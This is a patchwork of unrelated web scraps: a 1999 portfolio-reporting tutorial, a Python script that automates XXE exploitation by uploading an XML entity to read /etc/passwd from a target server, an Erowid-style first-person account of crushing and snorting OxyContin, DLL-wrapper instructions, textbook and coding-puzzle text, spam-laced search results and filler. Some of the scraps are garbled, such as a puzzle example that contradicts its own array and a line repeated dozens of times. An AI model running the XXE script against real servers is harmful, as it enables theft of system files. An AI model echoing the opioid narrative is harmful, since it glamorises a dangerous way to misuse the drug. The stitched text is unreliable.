In order to best understand basic report methods, it is important to take a look at an example from PMA Tutorial 2, which is below as example3.a. There you defined an example that displays holdings data with headings, sorted by percentage of portfolio. If you read example3.a you should see:
Reminder! To run these examples, you should first start a new session then load the sample database using:"/localvision/samples/pma/sample.load" asFileContents evaluate ;Any other files referenced can be read from the /localvision/samples/pma directory.Note: The sample.load file runs by default on a Unix environment. If you are using a Windows NT platform, this location may be prefixed by a drive and optional path (e.g. d:/visiondb/localvision/samples/pma/sample.load). Check with your Vision Administrator for further details.
"Code" print:10 ; "Name" print:37 ; "Shares" print:12 ; "Total Mkt Val" print:15 ; "% of Port" printNL ; newLine print ; Named Account \102 holdings sortDown:[percentOfPort] . do: [ security code print:10 ; security name print:35 ; shares printWithCommas:10 ; totalMarketValue printWithCommas:15 ; percentOfPort printNL ; ];Since you have seen this example before you do not need to execute it.
Account defineMethod: [ | firstReport | "Code" print:10 ; "Name" print:35 ; "Shares" print:12 ; "Total Mkt Val" print:15 ; "% of Port" printNL ; newLine print ; holdings sortDown:[percentOfPort] . # sort largest to smallest do: [ security code print:10 ; security name print:35 ; shares print:10 ; totalMarketValue printWithCommas:15 ; percentOfPort printNL ; ]; ];
Methods are defined for a specific class. In this case, the method is defined for the class Account. This means that the method can be run for any instance of an Account subclass. Vertical bars (||) are needed in order to define the method name.
When you execute this program the output buffer should be blank because the code is defining, not running, the method.
The next example runs the method firstReport for the Account 102. Read the file example3.c. You should see:
Named Account \102 firstReport
Execute this program. You should see:
Code Name Shares Total Mkt Val % of Port 24702510 DELL COMPUTER CORP COM 8600.00 717,566.80 15.41 02364J10 AMERICA ONLINE INC DEL COM 8200.00 695,975.00 14.95 00949T10 AIRTOUCH COMMUNICATNS COM 15200.00 589,000.00 12.65 ...
The expression Named Account \102 firstReport runs the method for the Account 102. This example shows that using a method produces the same output as using original code.
Named Account \232 firstReport
Execute this program. You should see:
Code Name Shares Total Mkt Val % of Port 40410010 HBO & CO COM 12000.00 519,756.00 7.15 24702510 DELL COMPUTER CORP COM 5900.00 492,284.20 6.77 40169810 GUIDANT CORP COM 8000.00 480,000.00 6.60 ...
Although the values are different, the basic report is the same because you are using the same method.
The next example alters the method firstReport, by centering the account identifier at the top of the report. This will make it easier to distinguish which account was used. Read the file example3.e. You should see:
Account defineMethod: [ | firstReport | "Account: " concat: code . center:80 . printNL; # center account newLine print ; "Code" print:10 ; "Name" print:35 ; "Shares" print:12 ; "Total Mkt Val" print:15 ; "% of Port" printNL ; newLine print ; holdings sortDown:[percentOfPort] . # sorted in descending order do: [ security code print:10 ; security name print:35 ; shares print:10 ; totalMarketValue printWithCommas:15 ; percentOfPort printNL ; ]; ];
The concat: statement appends the value of the message code for the current Account to the string "Account: ". The message center: centers the string and the printNL displays the result.
Execute this program. You should see a blank output buffer.
Named Account \102 firstReport
Execute the program. You should see:
Account: 102 Code Name Shares Total Mkt Val % of Port 24702510 DELL COMPUTER CORP COM 8600.00 717,566.80 15.41 02364J10 AMERICA ONLINE INC DEL COM 8200.00 695,975.00 14.95 00949T10 AIRTOUCH COMMUNICATNS COM 15200.00 589,000.00 12.65 ...
Named Account \232 firstReport
Execute the program. You should see:
Account: 232 Code Name Shares Total Mkt Val % of Port 40410010 HBO & CO COM 12000.00 519,756.00 7.15 24702510 DELL COMPUTER CORP COM 5900.00 492,284.20 6.77 40169810 GUIDANT CORP COM 8000.00 480,000.00 6.60 ...
971031 evaluate: [ Named Account \102 firstReport ];The expression evaluate:[] surrounding the request will access all data as of the date supplied. This date becomes the default date used for all operations within the brackets. As a result, the retrieved data of this example will be from 10/31/97.
Execute the program. You should see:
Account: 102 Code Name Shares Total Mkt Val % of Port 40410010 HBO & CO COM 19600.00 852,600.00 9.61 37935240 GLOBAL MARINE INC COM 25400.00 790,575.00 8.91 24702510 DELL COMPUTER CORP COM 8600.00 689,075.00 7.77 ...
The next example alters the method firstReport, by displaying the most recent holdings date, in addition to the account name, at the top of the report. Read the file example3.i. You should see:
Account defineMethod: [ | firstReport | "Account: " concat: code . center:80 . printNL ; # center account "As Of: " concat: holdingsDate . center:80 . printNL ; # center holdings date newLine printNL ; "Code" print:10 ; "Name" print:35 ; "Shares" print:12 ; "Total Mkt Val" print:15 ; "% of Port" printNL ; newLine print ; holdings sortDown:[percentOfPort] . # sort lowest to smallest do: [ security code print:10 ; security name print:35 ; shares print:10 ; totalMarketValue printWithCommas:15 ; percentOfPort printNL ; ]; ];
The message holdingsDate returns the date that the holdings were last updated, either on or before the evaluation date, for the Account.
Execute this program. You should see a blank output buffer.
Named Account \102 firstReport
Execute the program. You should see:
Account: 102 As Of: 12/15/1997 Code Name Shares Total Mkt Val % of Port 24702510 DELL COMPUTER CORP COM 8600.00 717,566.80 15.41 02364J10 AMERICA ONLINE INC DEL COM 8200.00 695,975.00 14.95 00949T10 AIRTOUCH COMMUNICATNS COM 15200.00 589,000.00 12.65 ...The date 12/15/1997 is the most recent date that the holdings were loaded in the sample database.
971031 evaluate: [ Named Account \102 firstReport ];
Execute the program. You should see:
Account: 102 As Of: 10/31/1997 Code Name Shares Total Mkt Val % of Port 40410010 HBO & CO COM 19600.00 852,600.00 9.61 37935240 GLOBAL MARINE INC COM 25400.00 790,575.00 8.91 24702510 DELL COMPUTER CORP COM 8600.00 689,075.00 7.77 ...
Account defineMethod: [ | firstReport: sortString | # method with one parameter "Account: " concat: code . center:80 . printNL ; # center account "As Of: " concat: holdingsDate . center:80 . printNL ; # center holdings date newLine print; "Code" print:10 ; "Name" print:37 ; "Shares" print:12 ; "Total Mkt Val" print:15 ; "% of Port" print:10 ; newLine print ; !sortBlock <- sortString asBlock ; holdings sortUp:sortBlock . # sortBy user supplied rule do: [ security code print:10 ; security name print:35 ; shares printWithCommas:10 ; totalMarketValue printWithCommas:15 ; percentOfPort printNL:10 ; ]; ];
Execute this program. You should see a blank output buffer.
Note that after the method name firstReport: but still in the vertical brackets, there is an expression sortString. This expression implies that additional input is required for the method to run. The required input will be a string that contains an expression for sorting the holdings. The expression asBlock converts the string into a block, which is used as a parameter for the sortUp: message.
Named Account \102 firstReport:"security name"Execute this program. You should see the following:
Account: 102 As Of: 12/15/1997 Code Name Shares Total Mkt Val % of Port 00949T10 AIRTOUCH COMMUNICATNS COM 15,200.00 589,000.00 12.65 02364J10 AMERICA ONLINE INC DEL COM 8,200.00 695,975.00 14.95 14912310 CATERPILLAR INC DEL COM 9,400.00 476,467.20 10.23 ...
The basic report is now sorted by "security name".
The next example runs the method firstReport for the Account 102, sorting the data by shares. Read the file example3.n. You should see:
Named Account \102 firstReport:"shares"Execute this program. You should see the following:
Account: 102 As Of: 12/15/1997 Code Name Shares Total Mkt Val % of Port 40169810 GUIDANT CORP COM 2,900.00 174,000.00 3.74 19416210 COLGATE PALMOLIVE CO COM 4,300.00 287,025.00 6.17 39350510 GREEN TREE FINL CORP COM 5,600.00 114,800.00 2.47 ...
971031 evaluate: [ Named Account \102 firstReport:"shares" ]
Execute this program. You should see the following:
Account: 102 As Of: 10/31/1997 Code Name Shares Total Mkt Val % of Port 06605010 BANKAMERICA CORP COM 1,800.00 129,375.00 1.46 19416210 COLGATE PALMOLIVE CO COM 4,300.00 278,425.00 3.14 39350510 GREEN TREE FINL CORP COM 5,600.00 236,600.00 2.67 ...
| Copyright © 1999 Innovative Systems Techniques, Inc. | Created January 28, 1999 |


#!/usr/bin/python
import requests
import re
#This is a python script that can help automate
# XXE exploitation. Simply put in your XXE PoC
# ensure the POST request syntax is correct
# and off to the races
#The XXE PoC
def PerformXXE(filename):
xml = f"""<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (ANY)>
<!ENTITY plssubscribe SYSTEM "file:///etc/passwd">
]>
<PleaseSubscribe>
<Author>Ippsec1</Author>
<Subject>BEGINOUTPUT
&plssubscribe;
ENDOUTPUT</Ssubject>
<Content>Ippsec3</Content>
</PleaseSubscribe>"""
# setup post request variables
files = { 'file' : ('pleasesubscribe.xml', xml)}
response = requests.post('http://<RHOST>:<RPORT>/upload', proxies={'http':'http://<IP_ADDRESS>:8080'}, files=files).text
# Now Regex the BEGINOUTPUT and ENDOUTPUT
result = re.findall(r'BEGINOUTPUT\s(.*)\s\sENDOUTPUT', response, re.DOTALL) #dotall means dots match all including line breaks
return result
while True:
fname = input("> ")
print (PerformXXE(fname))


Usually oxycontin comes around once and awile, and there isnt a heroin scene here(nor do i relaly want to pursue it)..   Percocet and Lortab I use less frequently due to the fact that my tolerance forces me into taking about 4 grams of APAP..)
So when oxycontin hits home, I snatch the shit.. It must really be annoying to my pothead dealer who doesnt see the point in it, but has to listen to me whine about getting more all the time. He cant complain though, as one week's worth of oxycontin would total my whole paycheck.. So oxycontin is more like a rare(monthly or bimonthly) treat.
When I get back from picking it up, I practically have an erection walking in the house.. Really, I become like a school child, running and skipping from my car, across the lawn, and thru the door, usually singing some makeshift song that I made up on the spot about the fact I am about to get high.
I'll look at the little OC40 pill inside its tiny plastic bag with great reverance.. Like ecstasy, it amazes me that six hours of great euphoria can be packed into a package smaller than an asprin.
I dump the contents onto a plate, and turn the bag inside out and stick it in my mouth.. Ah bittersweetness..  Im sure the process makes me look like some dirty fiending junky.
I take a knife and cut the pile in half and then cut one of the piles in two..   Usually that small pile is divided into 4 lines and done slowly to keep the high going.
I cut my McDonalds straw(nice and fat) in half. I wonder if the realise what Im doing when i come in, grab a straw, and leave, every single month. Anyway, I cut my big pile in two; one for each nostril. And up it goes. No burn, chalky drip that I love.. and we're off
Oxycodone :
0 min - Opiates have this magic way of actingly immeadiatly upon ingestion, no matter what the mode is... It is as if my brain goes ahead and begins the high in anticipation of the actual chemical effect.. If I were to be experiencing any withdrawls, its like someone snaps there fingers and that body ache goes away. Although, obviously there is no opiate stimulation yet, there is already a large influx of dopamine in the limbic system at T+0:00. In other words, im already feelin good
5 min - The first real effects of the opiate begins to show. A warmth starts here. Kinda like a match lighting about to ignite a fire, it starts right in the middle, barely detectable.
10 min - This warmth now spreads up my spine creating a feeling of pressure or presence in my head, kinda behind my eyes.. I would say it manifests itself as a variance of dizzyness. My nose starts itching. I know its coming, so I typically get on the net at this time.
15 min - The opiate manifests itself and a slow warmth seeps all the way down my body and then begins to radiate... Pulsing,warm sensation, that carries with it a sense of calmness and reassurance. Usually at this point, I let out a huge sigh of relief and stretch.. My muscles similtaneously loosen, and a sink back into my chair.. Its very gentle.
20 min - Oxycodone carries with it an amphetamine characteristic.. Things that normally interest me, suddenly interest alot. It feels good to converse with people..  I usually spend this time surfing the net. Coziness has surrounded me.. Euphoria grows. People compare heroin to an orgasm. Opiates are nothing like an orgasm. I know the feeling after sex.. Relaxed, happy, refreshed, carefree, and this placidness that lets me stare off for a minute and relish in it. Thats how opiates are. A feeling of 'Ahhhhhhhh'.
30min - I suddenly find that im rubbing my nose and junk alot..  Im high. The warm euphoria begins to wrap around me like a comfy blanket.. I feel totally at ease, and wrapped up in my internet activity. I dont smoke. Except on opiates. It just feels damn good, just to relish in my own self indulgence.
My inhibitions are loosened, but nothing like alcohol or E..  If people want to talk, I'll engage.. Its good to have friends. Its good to live. Everything is good.
1 hour - The warmth that began as a match has now become a surging yet placid euphoria.. Laying down at this point is usually essential.. I no longer need the computer for entertainment.. I am happy. Say goodbyes, sign off, laydown, turn on the TV.. Time to integrate into Trent Reznor's 'A Warm Place'..
Laying down is godly. I hit the bed/couch/concrete and just melt into it... TV is entertaining, yet not mentally taxing like the computer.. My thoughts have now taken a smoking break from reality.. I watch the TV, but dont really pay attention('Your lips move, but I can't hear what you're saying'..).. Whats the point, I have all I need. Choosing to focus on anything is a burden that I no longer need.
1 hour 30 min - I'm in the clouds. The strong warmth and physical euphoria has totally immersed me.. In fact, if I lay totally still(which is quite easy in this state), my extremities cease to be body parts, but just physical manifestations of opiate euphoria.. Its like a warm jacuzzi massaging every cell in my body. Physical numbness, replaced by opiate joy..  Why was I holding them anyway, I think..
The past has ceased to exist.  Why the hell was I even in class today when I could be here? What was it like before this?
Its my chemcical hug, that reassures me everything will be ok... I relish in it, and believe it, even though I know its not true. At this point reality is distant... I am far far from it.. Floating above it all on my cloud of happiness. Thinking about hurtful things is possible and even easy, but they no longer have meaning.
'Life is but a dream'
My eyes become heavy at first, as if there are lead weights and I have to use all my strength to keep them open. Never mind the TV, its relevance equals that of the blank wall I am staring at now. Eventually, these 'eye weights win'..
My eyes close, but strangely enough I dont realise it.. Ah the nod. I are in my own world. Reality is just as prominent under my eyelids as it is with the open. My eyes slam shut, and strange dream like visions will play in my head... Usually, glowing childhood memories, or sometimes just inane scenes, or flashes of nonsensical items. Its not till I open my eyes again, that I realise these dreams where only my mind... Sometimes Ill look at the clock(11:3, merely blink and it will be 12:05.. The reality is that I nodded off during that missing time.. The body and mind euphoria is so strong that I dont notice, nor care.. I am frozen in the present, yet time seems to speed along. All I can do is lie there and be enveloped by a placid feeling of total security and warmth..
My eyes snap open and its 1 am... Its been 3 1/2 hours!! At this point I usually stagger to the bathroom to squeeze out three drops of piss, simultaneously sucking me back to the true reality. Cushioned, but true.. Nothing can hurt me.. The I stagger into bed shut the lights and tv out, and sleep the sleep of angels.. Somehow, I sleep, yet are aware of every moment of euphoria that occurs thruout the night, until it wears off in the morning, sending me off into a deep unconsious sleep..
6:20 am my alarm screams in my ear... If im lucky i have a leftover buzz to carry me thru.. If im unlucky I have a pounding headache.. Either way, off to clas I go, just to keep the cycle spinning.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


-
Copy and rename the file C:\Windows\System32\hh.exe to a new folder,
say C:\Program Files\HtmlHelp\hh2.exe
-
64-bit users: the paths will be C:\Windows\SysWOW64\hh.exe and
C:\Program Files (x86)\HTML Help Workshop\hh2.exe
-
Extract and copy both files next to hh2.exe
-
Find your favorite .chm file (any one will do), right-click on it > Open with > Choose default program...
-
Click Browse... navigate to your shiny new hh2.exe and click Open (or double-click it).
-
Check the checkbox next to Always use the selected program to open this kind of file
-
Click OK
-
Chill out with the straight lines!
How to replace DirectWrite's "ideal font rendering" effects for any other program that embeds MSHTML.dll (Google Talk, H3Viewer, etc.)
-
Extract and copy both files to the same folder as the program executable.
-
Start or restart the program.
-
Smile at the lack of sub-pixel rendering!
Boring details
This is actually a port of the
Anti-Aliasing Tuner for Firefox 4,
minus the ability to customize the options. An upcoming release will implement the novel idea of trying to read
the options from the operating system's settings and add 64-bit support.
Bug reports, feedback, etc.
Bug reports and feedback would be most appreciated! Please send an e-mail to
<EMAIL_ADDRESS>Updates
Go to
http://www.softwareninjas.ca/dwrite-dll-wrapper
to see if any updates have been released since last downloaded.


Project A
My project description
Place, Country
Project B
My project description
Place, Country
Project C
My project description
Place, Country


| Apps Components Interfaces All Files Source Tree | source: beta.CC2420Radio.ieee.802.15.4.MLME.MLME_ASSOCIATE.nc |
The MLME-SAP association primitives define how a devices becomes associated with a PAN.
| Author: | Joe Polastre |
Commands |
Events |
Commands - Details |
Parameters: |
LogicalChannel - The logical channel on which to attempt association CoordAddrMode - The coordinator addressing mode CoordPANId - The 16 bit PAN identifier of the coordinator CoordAddress - Individual device address of the coordinator as per the CoordAddrMode CapabilityInformation - Specifies the operational capabilities of the associating device SecurityEnable - TRUE if security is enabled for this transfer |
Parameters: |
DeviceAddress - the 64-bit address of the device to respond to AssocShortAddress - The short device address allocated by the coordinator on successful allocation. status - The status of the association attempt SecurityEnable - TRUE if security is enabled for this transfer |
Events - Details |
Parameters: |
DeviceAddress - the 64-bit address of the requesting device CapabilityInformation - Specifies the operational capabilities of the associating device SecurityUse - TRUE if security was enabled for the request ACLEntry - The macSecurityMode parameter value from the ACL entry associated with the sender of the data frame. This value is set to 0x08 if the sender of the data frame was not found in the ACL. |


Inserts a code block in the documentation (using PRE and CODE tags, and prettyprint
syntax highlight capability form JsDoc).
The code can be placed directly into the <@codeblock>
tag. In this case the resulting box will contains a "Static code" badge on the top right.
Also, the code can be read from an unit test output (the test is specified by the src
attribute).
In this case the top right badge will show the unit test passing state (Passed, Failed, Pending, or Error - if the unit test code was not found).
The src
attribute value is the unit test file path, then ":" char, then unit test name.
For example: src="/z_core/data-object/Data_Object.spec.js:field()"
means:
insert code from "field()"
unit test from (DocWebSite)\jsgui-doc\content-dev\tests\z_core\data-object\Data_Object.spec.js.html
file.


Blog Post 1
Posted at 11:00 on May 9th by admin
Spicy jalapeno bacon ipsum dolor amet turducken pork chop shank corned beef, venison drumstick ribeye ham jowl brisket leberkas bacon cow pancetta. Short ribs shankle fatback kevin, pork chop pancetta pork belly. Corned beef meatball chuck, jowl pork belly drumstick frankfurter biltong spare ribs andouille boudin alcatra hamburger beef turducken. Chuck cupim doner pig, pork loin sirloin hamburger bacon.  Brisket hamburger meatball swine doner prosciutto cow venison shankle sausage tail.
Jowl beef ribs shankle kielbasa, prosciutto ham ground round pastrami filet mignon cupim chuck ribeye picanha shoulder. Ham hock ribeye t-bone pork belly turducken. Brisket venison pork chop jowl, t-bone fatback rump flank strip steak pork alcatra bacon. Venison ground round ham, alcatra pork belly landjaeger rump spare ribs swine drumstick meatball beef ribs filet mignon salami short ribs. Short loin turkey landjaeger ball tip chicken brisket.
 Short ribs shankle fatback kevin, pork chop pancetta pork belly. Corned beef meatball chuck, jowl pork belly drumstick frankfurter biltong spare ribs andouille boudin alcatra hamburger beef turducken. Chuck cupim doner pig, pork loin sirloin hamburger bacon.  Brisket hamburger meatball swine doner prosciutto cow venison shankle sausage tail.
Jowl beef ribs shankle kielbasa, prosciutto ham ground round pastrami filet mignon cupim chuck ribeye picanha shoulder. Ham hock ribeye t-bone pork belly turducken. Brisket venison pork chop jowl, t-bone fatback rump flank strip steak pork alcatra bacon. Venison ground round ham, alcatra pork belly landjaeger rump spare ribs swine drumstick meatball beef ribs filet mignon salami short ribs. Short loin turkey landjaeger ball tip chicken brisket.
 Short ribs shankle fatback kevin, pork chop pancetta pork belly. Corned beef meatball chuck, jowl pork belly drumstick frankfurter biltong spare ribs andouille boudin alcatra hamburger beef turducken. Chuck cupim doner pig, pork loin sirloin hamburger bacon.  Brisket hamburger meatball swine doner prosciutto cow venison shankle sausage tail.
Jowl beef ribs shankle kielbasa, prosciutto ham ground round pastrami filet mignon cupim chuck ribeye picanha shoulder. Ham hock ribeye t-bone pork belly turducken. Brisket venison pork chop jowl, t-bone fatback rump flank strip steak pork alcatra bacon. Venison ground round ham, alcatra pork belly landjaeger rump spare ribs swine drumstick meatball beef ribs filet mignon salami short ribs. Short loin turkey landjaeger ball tip chicken brisket.
Read More


| < Day Day Up > |
As noted in Section 2.3.2, when an algorithm contains a recursive call to itself, its running time can often be described by a recurrence. A recurrence is an equation or inequality that describes a function in terms of its value on smaller inputs. For example, we saw in Section 2.3.2 that the worst-case running time T (n) of the MERGE-SORT procedure could be described by the recurrence
whose solution was claimed to be T (n) = Θ(n lg n).
This chapter offers three methods for solving recurrences-that is, for obtaining asymptotic "Θ" or "O" bounds on the solution. In the substitution method, we guess a bound and then use mathematical induction to prove our guess correct. The recursion-tree method converts the recurrence into a tree whose nodes represent the costs incurred at various levels of the recursion; we use techniques for bounding summations to solve the recurrence. The master method provides bounds for recurrences of the form
T (n) = aT (n/b) + f (n),
where a ≥ 1, b > 1, and f (n) is a given function; it requires memorization of three cases, but once you do that, determining asymptotic bounds for many simple recurrences is easy.
| < Day Day Up > |


Full stack developer with a strong software background and hands-on experience in design, development, and deployment of applications.


Coffee enthusiasts and active smokers here. Like to help people for designing and developing their website, blog and web application.
Was born since 15 Dec 1990 and lived in Bandung, West Java, ID.
The husband of beloved wife ♥ Arsela Lestari since 10th April 2016.
and superheroes for my child ★ Arfa Alkhawarizmi, was born since 28th Feb 2017.


Experimental Assessment of the Susceptibility to ... - ESMAT - Esa
CRACKING OF Ti-6Al-4V ALLOY EXPOSED TO MON-1 PROPELLANT TANK. ENVIRONMENT . of Ti-6Al-4V STA was investigated in [5]. Tests were performed on . tensile stress levels are applied to the samples for 72 hours. After testing .
http://esmat.esa.int/Publications/Published_papers/3PC2_SCC_of_Ti_tanks.pdf
Treatment for Herniated or Bulging Discs
TA28 Titanium Alloy Ti-6Al-4V
TA28 is a higher tensile version of Ti-6Al-4V and is generally used for the manufacture of fasteners. Tensile strength 1100-1300 MPa, limiting ruling section .
http://www.aircraftmaterialsuk.com/data/titanium/ta28.html
Mechanical properties and microstructure of Ti- 6Al- 4V
Dec 6, 2004 . 7% , ultimate tensile strength of 648 ' 6861)/[Pa and 0. 2% yield strength of 526 _ . 2 EXPERIMENTAL. Two types of Ti'6Al-4V prealloy powders made from . Besides, high oxygen content acts to sta- bilize brittle (1;-Ti3Al[ 12] .
http://www.ysxbcn.com/downPage.asp?softID=3374&urlID=5638
titanium 6al-4v sta tensile Herniated or Bulging Discs
Titanium Ti-6Al-4V (Grade 5), Annealed AMS ... - CRP Technology
Titanium Ti-6Al-4V (Grade 5), Annealed AMS 4928 AMS 4911. Subcategory: Alpha/Beta Titanium Alloy; Metal; Nonferrous Metal; Titanium Alloy. Close Analogs: .
http://www.crptechnology.com/sito/images/PDF/Titanio_da_lavorazione.pdf
Titanium Ti 6AL 4V - AMS 4911
Ti6Al4V, also known as grade 5, Ti-6Al-4V or Ti 6-4, is the most commonly used . 4420 kg/m3, Young's modulus of 110 GPa, and tensile strength of 1000 Mpa. . For maximum strength, solution-treated and aged (STA) condition is: For sheet, .
http://www.aerospacemetals.com/titanium-ti-6al-4v-ams-4911.html
Tensile Properties and Deformation-Fracture Behavior of Ti-6Al-4V ...
Tensile Properties and Deformation-Fracture Behavior of Ti-6Al-4V . occurred within both ? and ? phases in the STA specimens testing at either room or .
http://www.scientific.net/MSF.561-565.207.pdf
Official Impairment Listing for Spinal Disorders
Effect of Welding Processes on Fatigue Properties of Ti-6Al-4V Alloy ...
amplitude uniaxial tensile load (stress ratio of 0.1 and frequency of. 10 Hz). Crack growth . precrack orientations in welded joint of Ti6Al4V on fatigue crack growth. . (Make: FIE-BLUE STAR, India, Model: UNITEK-94100). The specimen .
https://www.waset.org/journals/ijmme/v1/v1-3-28.pdf
- sign company real estate signs (narrowing of the spine)
6Al-4V STA - Rolled Alloys, Inc.
Ti 6Al-4V STA (Solution Treated and Aged) is a modified version of Ti 6Al-4V. . Ti-6Al-4V has excellent hardenability in sections up to 1" thick with strengths as high as 165 . Tensile Strength, ksi, 0.2% Yield Strength, ksi, Elongation in 2", % .
http://www.rolledalloys.com/products/titanium-alloys/6al-4v-staMicrostructural Characterization of Ti-6Al-4V and its Relationship to ...
Jun 5, 2012 . Table I. Different properties of Ti-6Al-4V emphasizing mechanical properties . Relationship between tensile strength and section size of solution . Problematic product with the star indicating the location of the most variance.
http://digitalcommons.calpoly.edu/cgi/viewcontent.cgi?article=1050&context=matesp
Titanium Alloy Ti 6Al-4V
Ti 6Al-4V is known as the "workhorse" of the titanium industry because it is by far the most common Ti alloy, accounting for more than . Tensile Strengths - STA .
http://cartech.ides.com/datasheet.aspx?i=101&E=269
Titanium Ti-6Al-4V (Grade 5), STA - ASM Material Data Sheet
Titanium Ti-6Al-4V (Grade 5), STA. Subcategory: Alpha/Beta .
http://asm.matweb.com/search/SpecificMaterial.asp?bassnum=MTP642
Medical-Vocational Allowance for Herniated Disc
Strengthening of Ti--6Al--4V Alloy by Short-Time Duplex Heat ...
treatment, the tensile strength of Ti6Al4V alloy is increas- ed by the transformation . and STA-treated materials were optically observed. The results are given .
http://www.jim.or.jp/journal/e/pdf3/46/07/1681.pdf
Ti-15V-3Cr-3Sn-3Al
Ti-15V-3Cr-3Sn-3Al (STA). Ti-6Al-4V (Ann). KS70. KS50. SUS304. Ti-1.5Al. MECHANICAL PROPERTIES. Commercially pure titanium has a tensile strength .
http://www.kobelco.co.jp/english/titan/files/details.pdf
High-cycle fatigue of Ti6Al4V
tensile tests conducted along the longitudinal axis at a foreign object damage ( FOD), in a single microstructure of Ti6Al4V, tested at high frequencies .
http://www.lbl.gov/ritchie/Library/PDF/ROR-HCF_99.pdf
Appealing a Denial of Benefits
6Al-4V ELI - Rolled Alloys, Inc.
Low interstitial version of Ti-6Al-4V, for maximum toughness. Preferred for marine and cryogenic applications. This grade is normally used in the annealed .
http://www.rolledalloys.com/products/titanium-alloys/6al-4v-eli
6Al-4V - Rolled Alloys, Inc.
Ti 6Al-4V is the most widely used of all the alpha-beta titanium alloys. . For maximum strength, solution-treated and aged (STA) condition is: For sheet, . For increased fracture toughness, but lower tensile strength, precipitation treat ( overage) .
http://www.rolledalloys.com/products/titanium-alloys/6al-4v


--- layout: page title: About header-img: "img/about-bg.png" ---
I grew up in Silicon Valley, moved to New York City to study musical theater at NYU, won The Amazing Race, married a Dallas Cowboys Cheerleader, had a Broadway career, and now I code.


Rupiah strengthens at Rp11,372 on Monday evening
Mon, March 10 2014 22:52 | 1178 Views
Jakarta (ANTARA News) - The Indonesian rupiah continued appreciating against the dollar in late Monday evening trading due to market confidence in Indonesias stable political situation prior to the April 9 elections.
The rupiah edged up 68 points to close at 11,372 per dollar on Monday evening, compared with 11,440 per dollar earlier.
"The domestic money market is convinced that the political situation will be conducive, so this has a positive impact on the rupiah," money market analyst Lukman Leong said on Monday.
Further, confidence in the domestic situation will increase foreign investment in the local money market, he said.
On a fundamental basis, Lukman said the domestic economy has been on the right track towards recovery, with the countrys trade deficit expected to fall this year.
"The domestic economic recovery is underway while, at the same time, the countrys trade deficit is becoming narrower," he said.
Also, that Bank Indonesia is actively involved in bilateral cooperation with central banks of other countries may support the performance of the local currency, he said.
"The cooperation will not only forge cooperation with other countries, but also support bilateral trade with other nations," he said.
According to Bank Indonesias mid-rate on Monday, March 10, the rupiah weakened to Rp11,449 per dollar from last Fridays close of Rp11,395 per dollar.(*)Editor: Heru
COPYRIGHT © 2014


The Earth, also known as the world,[26] Terra,[28] or Gaia,[30] is the third planet from the Sun, the densest planet in the Solar System, the largest of the Solar System's four terrestrial planets, and the only celestial body known to accommodate life. The Earth's biodiversity has evolved over hundreds of million years, expanding continually except when punctuated by mass extinctions.[31] It is home to over eight million species.[32][33] There are over 7.2 billion humans[34] who depend upon its biosphere and minerals. The Earth's human population is divided among about two hundred independent states that interact through diplomacy, conflict, travel, trade, and media.
| Name | Radius | Average Temperature |
|---|---|---|
| Mars | 3.390KM | -55C |
| Venus | 6.052 | |
Want to know more


How it works
Drag the button above ("Add me to bookmarks") into your bookmark bar in Chrome.
Open a Plotly plot and click on the bookmark to download the plot in SVG format.
Done.
You can also test it on this plot example.
If instead you would like to contribute visit the project page.


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John Watson knows of an operation called a right circular
rotation on an array of integers. One rotation operation
moves the last array element to the first position and
shifts all remaining elements right one. To test Sherlock's
abilities, Watson provides Sherlock with an array of
integers. Sherlock is to perform the rotation operation a
number of times then determine the value of the element at a
given position.
For each array, perform a number of right circular rotations
and return the value of the element at a given index.
For example, array a = [3,4,6], number of rotations k = 2
and indices to check m = [1,2].
First we perform the two rotations:
[3,4,5] -> [5,3,4] -> [4,5,3]
Now return the values from the zero-based indices 1 and 2 as
indicated in the m array.
a[1] = 5
a[2] = 3
Function Description
Complete the circularArrayRotation function in the editor
below. It should return an array of integers representing
the values at the specified indices.
circularArrayRotation has the following parameter(s):
- a: an array of integers to rotate
- k: an integer, the rotation count
-
queries: an array of integers, the indices to report
Input Format
The first line contains 3 space-separated integers, n , k,
and q, the number of elements in the integer array, the
rotation count and the number of queries.
The second line contains n space-separated integers, where
each integer i describes array element a[i] (where 0 ≤ i < n
). Each of the q subsequent lines contains a single integer
denoting m, the index of the element to return from a.
Constraints
- 1 ≤ n < 10^5
- 1 ≤ a[i] < 10^5
- 1 ≤ k < 10^5
- 1 ≤ q < 500
- 0 ≤ m < n
Output Format
For each query, print the value of the element at index m of
the rotated array on a new line.
| Sample Input |
Sample Output |
|
|
|


GENESIS 12:7
by The Israel Bible“Hashem appeared to Avram and said, “I will assign this land to your offspring.” And he built a mizbayach there to Hashem who had appeared to him.”GENESIS 12:7 (The Israel Bible™)
This is the first time that the Bible describes God revealing Himself to Avraham. Even at the beginning of this chapter when Hashem commanded Avraham to leave his land, it does not say that Hashem appeared to him. The Kli Yakar, a biblical commentator who lived in Prague in the early seventeenth century, explains this by reference to the principle that Hashem does not reveal Himself prophetically outside the Land of Israel. The command given in Haran at the start of this chapter was heard, but not seen. Only once he arrived in Israel did God actually appear to Avraham, which then prompted Avraham to build an altar to mark the occasion. God’s presence is felt most intensely in Eretz Yisrael.


Hi All this is Debasish Hi All this is DebasishHi All this is DebasishHi All this is DebasishHi All this is DebasishHi All this is DebasishHi All this is DebasishHi All this is DebasishHi All this is DebasishHi All this is DebasishHi All this is DebasishHi All this is DebasishHi All this is DebasishHi All this is DebasishHi All this is DebasishHi All this is DebasishHi All this is DebasishHi All this is DebasishHi All this is DebasishHi All this is DebasishHi All this is DebasishHi All this is DebasishHi All this is DebasishHi All this is DebasishHi All this is DebasishHi All this is DebasishHi All this is DebasishHi All this is Debasish


Snapshots of the ZnO(112[combining macron]0) surface illustrating the vehicular movement of O*H – (orange) from the intra-surface-PT coordinate (left) to a configuration where it bridges two adjacent surface rows (right). The instantaneous distances between the O in O*H – and the two nearest Zn s 2+ are given.


|
Super image compressor 2000
Système de compression d'images à l'aide d'arbres quaternaires
|
Macros | |
| #define | RGBA_LINE_INNER_NODE 0 |
| #define | RGBA_LINE_OUTER_NODE 1 |
| #define | BIN_LINE_INNER_NODE 0 |
| #define | BIN_LINE_OUTER_NODE 1 |
Functions | |
| int | readBit (FILE *file, unsigned char *bit, unsigned char *buffer, size_t *bufferSize) |
| int | readNumber (FILE *file, long *number, unsigned char len, unsigned char *buffer, size_t *bufferSize) |
| int | readByte (FILE *file, unsigned char *byte, unsigned char *buffer, size_t *bufferSize) |
| char * | readLine (FILE *file) |
